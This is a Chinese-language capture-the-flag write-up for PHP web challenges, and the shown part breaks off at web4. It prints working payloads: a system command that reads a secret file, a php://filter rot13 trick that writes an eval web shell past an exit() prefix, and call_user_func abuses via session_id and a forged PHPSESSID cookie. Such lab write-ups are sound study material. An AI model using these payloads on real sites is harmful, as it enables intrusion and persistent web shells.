热身
直接执行phpinfo(),有回显
开始准备找flag,但是没找到
看到了auto_prepend_file
,有文件目录
直接读取
f=system(“nl /etc/ssh/secret/youneverknow/secret.php”);
web1
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?>
就是一个死亡绕过exit
但是之前的模式是
<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
这种直接是,filename使用php://filter协议,content输入内容
但是这个题只有一个参数
所以payload有点变化
使用string.rot13
content=php://filter/write=string.rot13|<?cuc riny();?>/resource=shell.php
还可以使用base64和string.strip_tags
参考文章
https://blog.youkuaiyun.com/qq_38154820/article/details/120232262?spm=1001.2014.3001.5501
web2
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${
key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>
考点:利用session修改变量的值
首先看到call_user_func
将post的值作为回调函数,并返回函数需要返回的值,看到session_start(),想到了session
发现session_id是一个得到当前会话id的函数,并返回当前会话id,利用这个点。
payload
POST:session_id=session_id
调用session_id函数,然后将cookie中,传入PHPSESSID=HappyNewYear
既可以将session变量传给call_user_func。
web3
<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
虎年大吉,新春快乐!
首先看代码,就是需要回调一个函数,其返回值与HappyNewYear
弱类型比较
但是需要true,就可以输出flag
payload
1=session_start
成功开始会话返回 true ,反之返回 false
1=json_last_error
web4
<?php
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]))